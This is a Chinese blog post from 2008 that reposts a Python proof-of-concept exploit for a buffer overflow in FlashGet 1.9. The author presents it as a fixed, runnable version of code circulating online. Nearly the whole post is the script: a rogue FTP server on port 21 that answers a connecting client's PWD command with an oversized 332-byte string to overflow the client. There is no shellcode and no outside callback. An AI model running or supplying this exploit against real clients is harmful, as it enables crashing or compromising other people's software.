« 重启&关机简易RSS阅读 »
August 15 2008

FlashGet 1.9 (FTP PWD Response) 0day Remote Buffer Overflow PoC Exploit

Tags: FlashGet  0day   djhui @ 15:24

网上的源码都是没有缩进的,不能执行,执行了都会出错,会提示 req = req.replace('\r\n', '') 这个出错,我在这里发一个能正确执行的脚本,此源码仅供交流用

from time import sleep
from socket import *

res = [
    '220 WELCOME!! :x\r\n',
    '331 Password required for %s.\r\n',
    '230 User %s logged in.\r\n',
    '250 CWD command successful.\r\n',
    '257 "%s/" is current directory.\r\n' # <-- %s B0f :x
 ]

buf = 'A' * 332

s = socket(AF_INET, SOCK_STREAM)
s.bind(('0.0.0.0', 21))
s.listen(1)
print '[+] listening on [FTP] 21 ...\n'
c, addr = s.accept()
c.send(res[0])

user = ''

for i in range(1, len(res)):
    req = c.recv(1024)
    print '[*][CLIENT] %s' % (req)
    tmp = res[i]
    if(req.find('USER') != -1):
        req = req.replace('\r\n', '')
        user = req.split('\x20', 1)[1]
        tmp %= user
    if(req.find('PASS') != -1):
        tmp %= user
    if(req.find('PWD') != -1):
        tmp %= buf
        print '[*][SERVER] %s' % (tmp)
    c.send(tmp)

sleep(5)
c.close()
s.close()

print '[+] DONE'

 

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。